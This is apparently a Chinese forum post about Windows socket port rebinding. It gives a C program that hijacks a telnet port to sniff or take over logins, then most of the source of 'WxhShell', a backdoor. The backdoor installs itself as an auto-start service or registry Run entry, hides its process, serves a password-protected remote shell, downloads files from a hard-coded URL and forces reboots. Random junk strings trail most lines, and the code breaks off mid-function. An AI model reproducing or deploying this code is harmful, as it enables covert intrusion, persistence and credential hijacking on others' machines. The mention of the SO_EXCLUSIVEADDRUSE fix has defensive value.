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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {W)Kz_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o )G'._  
%FDi7Rx  
  saddr.sin_family = AF_INET; C5CUMYU  
>8"oO[U5>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /XeDN-{  
'nz;|6uC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &BY%<h0c  
V}. uF,>V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d(3F:dbk  
`TYQ^Zm  
  这意味着什么?意味着可以进行如下的攻击: %g5TU 6WP  
w9rwuk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h3Nwxj~E  
@{iws@.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Kyt.[" p  
1XSA3;ZEc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 & Gp@,t  
<Bn^+u\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  : ^F+m QN  
X,C&nqVFm8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 AjKP -[  
J;W(}"cFq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x%pC.0%  
g{.>nE^Sc5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :!Wijdq  
s:'M[xI  
  #include ZR.1SA0x?O  
  #include [^EU'lewnW  
  #include w,bILv)  
  #include    /;-KWu+5=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D>+&= 5{  
  int main() iS&~oj_-%  
  { x#-uf  
  WORD wVersionRequested; UCj4%y6t  
  DWORD ret; ([R}s/)$  
  WSADATA wsaData; |5 _bFB+&  
  BOOL val; bZHuEh2w  
  SOCKADDR_IN saddr; ;2Db/"`t  
  SOCKADDR_IN scaddr; 'Y IFHn$!  
  int err; M$DJ$G|Z  
  SOCKET s; {hGr`Rh  
  SOCKET sc; dIQ7u  
  int caddsize; 6F6[w?   
  HANDLE mt; 5cO}Jp%PA  
  DWORD tid;   @kvgq 0ab  
  wVersionRequested = MAKEWORD( 2, 2 ); #4%4iR5%  
  err = WSAStartup( wVersionRequested, &wsaData ); \{AxDk{z#  
  if ( err != 0 ) { M[}EVt~  
  printf("error!WSAStartup failed!\n"); v_)a=I%o&2  
  return -1; 8Y*SZTzV  
  } Fh9%5-t:J  
  saddr.sin_family = AF_INET; l>`N+ pZ$  
   R $HI JM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j/4N  
)8kcOBG^L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); },KY9w  
  saddr.sin_port = htons(23); /e1m1B  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gP"p7\ (  
  { )f1<-a"D|  
  printf("error!socket failed!\n"); X0 O0Y>"  
  return -1; _P 0,UgZz  
  } /ZqBO*]  
  val = TRUE; zWoPa,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [_hHZMTH  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @qmONQ eb  
  { 9r-]@6;  
  printf("error!setsockopt failed!\n"); TC[_Ip&  
  return -1; lTJ1]7)  
  } F(>']D9$.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ePdM9%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F@Y)yi?z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eZ5UR014  
"~Twx]Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jY EB`&  
  { EF=.L{  
  ret=GetLastError(); ZZOBMF7  
  printf("error!bind failed!\n"); lE:X~RO"~  
  return -1; Xoyk 'T] -  
  } qIcQPJn!}  
  listen(s,2); #u~s,F$De  
  while(1) g <^Y^~+E  
  { LI_>fuv"8  
  caddsize = sizeof(scaddr); ^'.=&@i-  
  //接受连接请求 K-IXAdx  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >8Wvz.Nq/  
  if(sc!=INVALID_SOCKET) JYL/p9K[I  
  { n)uvN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jXvGL  
  if(mt==NULL) 3p{N7/z(  
  { Z m9 e|J  
  printf("Thread Creat Failed!\n"); :LBG6J  
  break; lS]<~  
  } 2|@@xF  
  } -NtT@ +AE  
  CloseHandle(mt); _5%SYxF*y  
  } Mnyg:y*=  
  closesocket(s); T0s7aw[zm  
  WSACleanup(); %^[45e  
  return 0; sY+U$BYB>  
  }   Kdh(vNB>  
  DWORD WINAPI ClientThread(LPVOID lpParam) }1]/dCv  
  { :bI4HXT3  
  SOCKET ss = (SOCKET)lpParam; }3:DJ(Y  
  SOCKET sc; 3#huC=zbf  
  unsigned char buf[4096]; >C y  
  SOCKADDR_IN saddr; =MDir$1Z  
  long num; ]UKKy2r.  
  DWORD val; jT"P$0sJAd  
  DWORD ret; s^ rO I~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Nv "R'Pps  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fiOc;d8  
  saddr.sin_family = AF_INET; 8T92;.~(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); | qtdmm  
  saddr.sin_port = htons(23); ";}Lf1M9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Vd3'dq8/?  
  { l%\3'N]  
  printf("error!socket failed!\n"); }uo5rB5D  
  return -1; s (|T@g  
  } B3K!>lz  
  val = 100; S>}jsP:V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @?iLz7SPk  
  { P7QOlTQI  
  ret = GetLastError(); /]"&E"X"  
  return -1; GY<ErS)2  
  } Jfa=#`    
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H`q" _p:  
  { BT;hW7){9  
  ret = GetLastError(); rHPda?&H  
  return -1; K];nM}<  
  } R5 47  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {9U<!  
  { r|4jR6%<'m  
  printf("error!socket connect failed!\n"); BM=`zGh"  
  closesocket(sc); `?LQd2p  
  closesocket(ss); c_c]0Tm  
  return -1; ;tTM3W-h  
  } 'c5#M,G~  
  while(1) B04%4N.g"X  
  { %41dVnWB^4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UgDai?b1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -q' np0H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DfwxPt#  
  num = recv(ss,buf,4096,0); (1H_V(  
  if(num>0) 9 \i;zpN\  
  send(sc,buf,num,0); %F-/|x1#Q  
  else if(num==0) zy`4]w$Lj+  
  break; fv$Y&_,5  
  num = recv(sc,buf,4096,0); ~r;da9  
  if(num>0) '&#`?\CXX  
  send(ss,buf,num,0); -B :Z(]3#\  
  else if(num==0) 3 lH#+@  
  break; %Q5D#d"p`  
  } @QI]P{   
  closesocket(ss); Hn)K;?H4  
  closesocket(sc); c'OJodpa  
  return 0 ; b9ysxuUdS  
  } Sxf|gDC  
hh}%Z=  
hj64ES#x  
========================================================== nN>D=a"&F  
x n)FE4  
下边附上一个代码,,WXhSHELL 0CS^S1/[B`  
IrQ8t!  
========================================================== :p@H  
yq+<pfaqvK  
#include "stdafx.h" Ht+ng  
f/Km$#xOr  
#include <stdio.h> @v_E' 9QG^  
#include <string.h> w8:F^{  
#include <windows.h> 5~k-c Ua  
#include <winsock2.h> idnn%iO  
#include <winsvc.h> i,rP/A^q  
#include <urlmon.h> Y<TlvB)w  
{YZ)IaqZ  
#pragma comment (lib, "Ws2_32.lib") C.L5\"%  
#pragma comment (lib, "urlmon.lib") ,{ CgOz+Ul  
ac>}$Uw)  
#define MAX_USER   100 // 最大客户端连接数 b0X*+q   
#define BUF_SOCK   200 // sock buffer * 2[&26D  
#define KEY_BUFF   255 // 输入 buffer mXlXB#N  
P]!$MOt  
#define REBOOT     0   // 重启 @iB**zR/  
#define SHUTDOWN   1   // 关机 fI`T3Y!7  
4LARqSmt  
#define DEF_PORT   5000 // 监听端口 ?15k~1nA  
/b6Y~YbgU  
#define REG_LEN     16   // 注册表键长度 TFbCJ@X  
#define SVC_LEN     80   // NT服务名长度 "F>-W \%  
&<@ { d  
// 从dll定义API  /Z! ,1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,]Yjo>`tW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); + EG.p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2T5@~^:7u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /eDah3%d  
R<LW*8  
// wxhshell配置信息 PN/2EmwtC  
struct WSCFG { F`8A!|cIy  
  int ws_port;         // 监听端口 RyD2LAf)J  
  char ws_passstr[REG_LEN]; // 口令 "Nd$sZk=  
  int ws_autoins;       // 安装标记, 1=yes 0=no R4!qm0Cd  
  char ws_regname[REG_LEN]; // 注册表键名  ;Fcdjy  
  char ws_svcname[REG_LEN]; // 服务名 Dn$zwksSs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1pXAPTV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OQ#gQ6;?0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~] Mq'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .Y'kDuUu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B;4hI?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pW8pp?  
9UOx~Ty  
}; #[sC H  
%_M B-  
// default Wxhshell configuration ~U*2h =]  
struct WSCFG wscfg={DEF_PORT, ']$ttfJB  
    "xuhuanlingzhe", <9-tA\`8N  
    1, N rVQK}%K  
    "Wxhshell", dDW],d}B;  
    "Wxhshell", RUf,)]Vvk  
            "WxhShell Service", U"-mLv"|  
    "Wrsky Windows CmdShell Service",  &N0W!  
    "Please Input Your Password: ", v3S{dX<  
  1, 25ul,t_Du  
  "http://www.wrsky.com/wxhshell.exe", s .^9;%@$J  
  "Wxhshell.exe" %xxe U  
    }; Bp^>R`,  
vtR<(tOu@  
// 消息定义模块 T1PWFw\GH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <y*#[:i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8 /b_4!5c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0'^? m$  
char *msg_ws_ext="\n\rExit."; R-`{W:S  
char *msg_ws_end="\n\rQuit."; )_+"  
char *msg_ws_boot="\n\rReboot..."; _kH#{4`Hw  
char *msg_ws_poff="\n\rShutdown..."; <S $Z  
char *msg_ws_down="\n\rSave to "; {0QD-b o  
M(Jf&h4b  
char *msg_ws_err="\n\rErr!"; \#tr4g~u  
char *msg_ws_ok="\n\rOK!"; qfC9 {gu  
a&L8W4  
char ExeFile[MAX_PATH]; ""D rf=]  
int nUser = 0; )%X\5]w`  
HANDLE handles[MAX_USER]; tl;?/  
int OsIsNt; SZG8@ !_}7  
BOL_kp"   
SERVICE_STATUS       serviceStatus; W$gSpZ_7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K/Q;]+D  
6e  |  
// 函数声明 Aplqx vth  
int Install(void); =eac,]31  
int Uninstall(void); Uw61X>y=  
int DownloadFile(char *sURL, SOCKET wsh); z&<Rx[  
int Boot(int flag); P_-zkw  
void HideProc(void); +hjc~|RK  
int GetOsVer(void); Zu%_kpW  
int Wxhshell(SOCKET wsl); 2_r}4)z  
void TalkWithClient(void *cs); >ID 3oi  
int CmdShell(SOCKET sock); b% $S6.  
int StartFromService(void); 4 CX*,7LZ  
int StartWxhshell(LPSTR lpCmdLine); A ,LAA$  
C+5^[V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @GnsW;$*~.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8>pFpS  
[n74&EH  
// 数据结构和表定义 ]-x#zp;=  
SERVICE_TABLE_ENTRY DispatchTable[] = \vQ_:-A  
{ 7MGc+M(p  
{wscfg.ws_svcname, NTServiceMain}, BC@"WlD  
{NULL, NULL} Crpk q/M  
}; ::TUSz2/2  
cR@z^  
// 自我安装 s ]QzNc  
int Install(void) i":-g"d  
{ J\;~(: ~  
  char svExeFile[MAX_PATH]; M?nnpO  
  HKEY key; r{%NMj  
  strcpy(svExeFile,ExeFile); iZSj T"l^  
2vWkAC;   
// 如果是win9x系统,修改注册表设为自启动 JAB]kNvI  
if(!OsIsNt) { }=f}@JlFB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <V6#)^Or  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JH)&Ca>S  
  RegCloseKey(key); J8b]*2D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E&&80[tN]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $S,Uoh  
  RegCloseKey(key); 6_XX[.%  
  return 0; zZiB`%  
    } U4N S.`V  
  } (O`=$e  
} +IS$Un  
else { (Nik( Oyj"  
40g&zU-  
// 如果是NT以上系统,安装为系统服务 'Y vW|Iq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3\(s=- vh  
if (schSCManager!=0) ?: meix  
{ (4g; -*N  
  SC_HANDLE schService = CreateService k*!J,/=k  
  ( B=Zo0 p^  
  schSCManager, jNIM1_JjD  
  wscfg.ws_svcname, '6/uc:zv  
  wscfg.ws_svcdisp, 1H[lf B  
  SERVICE_ALL_ACCESS, |23 }~c,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n Isi  
  SERVICE_AUTO_START, YF:NRY[i  
  SERVICE_ERROR_NORMAL, 3ZB;-F5v  
  svExeFile, H/, tE0ZV  
  NULL, p!Gf ^  
  NULL, ?` `+OH  
  NULL, 6@I7UL >  
  NULL, TTOd0a  
  NULL Q'|cOQX  
  ); T|{BT! W1E  
  if (schService!=0) |f>y"T+1  
  { (g4g-"rc  
  CloseServiceHandle(schService); +5({~2Lzvp  
  CloseServiceHandle(schSCManager); ^mz_T+UOe  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C*78ZwZ  
  strcat(svExeFile,wscfg.ws_svcname); "M:arP5f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8\a)}k~4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -8pHjry'q  
  RegCloseKey(key); v5 9>  
  return 0;  Mys;Il "  
    } L>L4%?  
  } b _u&%  
  CloseServiceHandle(schSCManager); F2:7UNy,  
} A?7%q^;E  
} NK4ven7/  
=riP~%_ML)  
return 1; $PTedJ}*Y  
} 7H[+iS0  
)0GnTB;5Z  
// 自我卸载 O]PfQ  
int Uninstall(void) tlcA\+%)  
{ XsR%_eT  
  HKEY key; +2?0]6EQ  
jOuv\$  
if(!OsIsNt) { 4u(}eE f7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 96PVn  
  RegDeleteValue(key,wscfg.ws_regname); 1L9^N  
  RegCloseKey(key); pDKJLa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W*s`1O>  
  RegDeleteValue(key,wscfg.ws_regname); 4]+ ^K`  
  RegCloseKey(key); r2<+ =INn  
  return 0; IIu3mXAw  
  } FVD}9ia  
} ,v6Jr3  
} nQP0<_S  
else { ag+ML1#)  
1a)_Lko  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 34?yQX{  
if (schSCManager!=0) GqAedz;.  
{ F9c2JBOM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qB=pp!zQ  
  if (schService!=0) sEj:%`l|  
  { 7<tqT @c  
  if(DeleteService(schService)!=0) { b\+|g9Tm  
  CloseServiceHandle(schService); n$P v2qw  
  CloseServiceHandle(schSCManager); JRiuU:=J~`  
  return 0; \W\6m0-x  
  } Pw7'6W1  
  CloseServiceHandle(schService); YVaQ3o|!  
  } &t8_J3?Z  
  CloseServiceHandle(schSCManager); 05zHLj  
} ~XxD[T5  
} C= m Y  
D-~Jj&7  
return 1; iwVra"y  
} K;97/"  
Xo*$|9[.  
// 从指定url下载文件 R5i8cjKZ?w  
int DownloadFile(char *sURL, SOCKET wsh) dyp] y$  
{ q+:(@w6  
  HRESULT hr; feopO j6~+  
char seps[]= "/"; Ab"uN  
char *token; ft*0?2N~  
char *file; N Hh  
char myURL[MAX_PATH]; M!hby31  
char myFILE[MAX_PATH]; (G"qIw   
* c%@f<R~  
strcpy(myURL,sURL); _F*w ,b$8  
  token=strtok(myURL,seps); 2l SM`cw  
  while(token!=NULL) FEZ6X  
  { KGWENX_U  
    file=token; @uE=)mP@  
  token=strtok(NULL,seps); B~aOs>1 S]  
  } \I'Zc]  
`kv$B3  
GetCurrentDirectory(MAX_PATH,myFILE); IL=v[)en4  
strcat(myFILE, "\\"); Gzfb|9 ,q  
strcat(myFILE, file); b(yO  
  send(wsh,myFILE,strlen(myFILE),0); KALg6DZe:  
send(wsh,"...",3,0); Gu}x+hG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5HIpoj;\(  
  if(hr==S_OK) b mm@oi  
return 0; '?>eW 2d  
else 1h#k&r#*3  
return 1; qN0#=X  
M+E5PZ|_  
} &Kv evPF  
4GfLS.Ip  
// 系统电源模块 /SKr.S61e  
int Boot(int flag) W@C56fCa  
{ q5!l(QL.  
  HANDLE hToken; n>0dz#  
  TOKEN_PRIVILEGES tkp; y;Zfz~z  
mce`1Tjw  
  if(OsIsNt) { p)^:~ ll  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )eFFtnu5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PJYA5"}W  
    tkp.PrivilegeCount = 1; =zjUd  5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YKg[k:F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RsD`9>6)  
if(flag==REBOOT) { t(Zs*c(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wi5|9  
  return 0; j>Z]J'P  
} >YBpB,WND  
else { %1@<),  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /h M>dkwu  
  return 0; oGVSy`ku  
} cO RMR!  
  } u0Erz0*G4  
  else { <ut DZ#k  
if(flag==REBOOT) { L_|uB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7L+X\oaB  
  return 0; BXo|CITso  
} w&"w"  
else { =.X?LWKY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B#?2,  
  return 0; n2{{S(N  
} @."o:K  
} I PVzV\o  
BR^J y<^F'  
return 1; Vrj1$NL%  
} iW}l[g8sw!  
J=X% xb  
// win9x进程隐藏模块 <VU4rk^=  
void HideProc(void) NN 6KLbC(  
{ :2pBv#\"qk  
{?mQqoZ?.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y<1$^Y1/)  
  if ( hKernel != NULL ) Z&w^9;30P  
  { kN j3!u$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V"H 7zx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NoO+xLHw8  
    FreeLibrary(hKernel); 1mJ_I|98  
  } uvDoo6'  
H 1D;:n  
return; ' f$L  
} 7F(F.ut  
S9NN.dKu  
// 获取操作系统版本 m_$I?F0  
int GetOsVer(void) b!X"2'  
{ EOX_[ek7  
  OSVERSIONINFO winfo; 06^1#M$'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j 3MciQ`  
  GetVersionEx(&winfo); nbASpa(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dum`o^l#  
  return 1; bfJ`}xl(8  
  else 8q [c  
  return 0; egvy#2b@  
} &@HNz6KO  
ix9HSa{d  
// 客户端句柄模块 +%Y c4  
int Wxhshell(SOCKET wsl) mp,e9Nd;  
{ N+M&d3H`  
  SOCKET wsh; n<:d%&^n  
  struct sockaddr_in client; vaRwh E:  
  DWORD myID; dA} 72D?  
MpA;cw]cI/  
  while(nUser<MAX_USER) 0O#B'Uu  
{ R==cz^#  
  int nSize=sizeof(client); Ejms)JK+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I\upnEKKzZ  
  if(wsh==INVALID_SOCKET) return 1; vA;F]epr!  
~$4.Mf,u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aGe(vQPi9  
if(handles[nUser]==0) q[7d7i/r6  
  closesocket(wsh); e:J'&r& 1  
else hO/5>Zv?  
  nUser++; k&A7alw  
  } nF<y7XkO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lW$&fuDHF  
Z|(c(H2  
  return 0; )J+{oB[>b  
} %A62xnX  
#<wpSs  
// 关闭 socket S&3X~jD(1  
void CloseIt(SOCKET wsh) =~hsKBt*  
{ %XI"<Y\yL  
closesocket(wsh); Wzqb>.   
nUser--; rMHQzQ0%  
ExitThread(0); ?7uK P}1|  
} v1nQs='  
``$%L=_m  
// 客户端请求句柄 M%&A.j[  
void TalkWithClient(void *cs) n#>.\F  
{ vK6ibl0  
/c@*eU  
  SOCKET wsh=(SOCKET)cs; >7nV$.5S  
  char pwd[SVC_LEN]; 5e)6ua,  
  char cmd[KEY_BUFF]; 2 {e dW+  
char chr[1]; 7-d}pgVK  
int i,j; VyWYfPK  
ov`^o25f  
  while (nUser < MAX_USER) { ?+n&hHRg  
<!~1{`n%9J  
if(wscfg.ws_passstr) { %{7_E*I@n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F gWkcV6B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0+}EA[  
  //ZeroMemory(pwd,KEY_BUFF); KQ4kZN  
      i=0; Pr5g6I'G   
  while(i<SVC_LEN) { *p&^!ct  
m_m8c8{Y  
  // 设置超时 I7dm \|#  
  fd_set FdRead; zb;(?!Bd#  
  struct timeval TimeOut; #zS1Z f^KP  
  FD_ZERO(&FdRead); =#i4MXRZ{  
  FD_SET(wsh,&FdRead); 2W3NL|P  
  TimeOut.tv_sec=8; _F`$ d2  
  TimeOut.tv_usec=0; [ WV@w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +M'aWlPg,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .tRr?*V|l  
Ot`LZ"H:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fvcW'T}r  
  pwd=chr[0]; {f+N]Oo*  
  if(chr[0]==0xd || chr[0]==0xa) { v2hZq-q  
  pwd=0; *jM_wwG  
  break; \3Dk5cSDk+  
  } <<=e9Lh  
  i++; *Y85DEA  
    } )jyq{Jb  
TGU:(J'^  
  // 如果是非法用户,关闭 socket :}y9$p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?YF${  
} $#%U\mI z  
[%@2o<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lPM3}52Xu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D]IBB>F  
Y5dD|]F|  
while(1) { ]} 61vV  
q$r&4s)To  
  ZeroMemory(cmd,KEY_BUFF); sl/=g   
z Yw;q3"  
      // 自动支持客户端 telnet标准   0A;" V'i  
  j=0; >~I#JQ%  
  while(j<KEY_BUFF) { q#P$'7"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v(DwU!  
  cmd[j]=chr[0]; I eG=J4:*  
  if(chr[0]==0xa || chr[0]==0xd) { {<qF}i:V  
  cmd[j]=0; .L9']zXc`  
  break; I2f?xJ2/Z  
  } ~xGoJrF\  
  j++; !FTNmyM~F  
    } Kv(z4z  
*~ p (GC  
  // 下载文件 !^m%O0DT  
  if(strstr(cmd,"http://")) { B:4Ka]{YO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I @ 2uF-  
  if(DownloadFile(cmd,wsh)) pO%{'%RA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ve{n<{P  
  else C ye T]y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4/S=5r}  
  } Hd9XfU  
  else { Ju!(gh  
[r)e P({  
    switch(cmd[0]) { ? ^M /[@  
  *LANGQ"2(i  
  // 帮助 bS.s?a  
  case '?': { x^G'rF"nT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5%*w<6<_z  
    break; ~ 9GOk;{~&  
  } |0`hE;Kt7  
  // 安装 C5xag#Z1  
  case 'i': { zuSq+px L@  
    if(Install()) R}8XRe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wf#VA;d  
    else 3jjMY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :.k ZR;  
    break; 07V8;A<,  
    } ,7W:fwdR  
  // 卸载 {( #zcK  
  case 'r': { bu>qsU3  
    if(Uninstall()) $B;_Jo\|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WJ |:kuF  
    else f`jc#f5+'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'OwyyPBF  
    break; #B8*gFZB  
    } A /(lKq  
  // 显示 wxhshell 所在路径 e,>%Z@92(  
  case 'p': { 8) N@qUV  
    char svExeFile[MAX_PATH]; %SrM|&[  
    strcpy(svExeFile,"\n\r"); > _ <'D  
      strcat(svExeFile,ExeFile); =-NiO@5o  
        send(wsh,svExeFile,strlen(svExeFile),0); .%}?b~  
    break; nd ink$  
    } )KE [!ofD  
  // 重启 )"Q*G/+2Ie  
  case 'b': { {Z> M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oc7$H>ET1  
    if(Boot(REBOOT)) \\,f{?w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +vW)vS[  
    else { <F;v`h|+S  
    closesocket(wsh); '$G"[ljr  
    ExitThread(0); 6sJw@Oa J  
    } gn8 |/ev  
    break; k'T^dY&c  
    } lhH`dG D  
  // 关机 k|vI<:'p,  
  case 'd': { iDoDwq!l_  
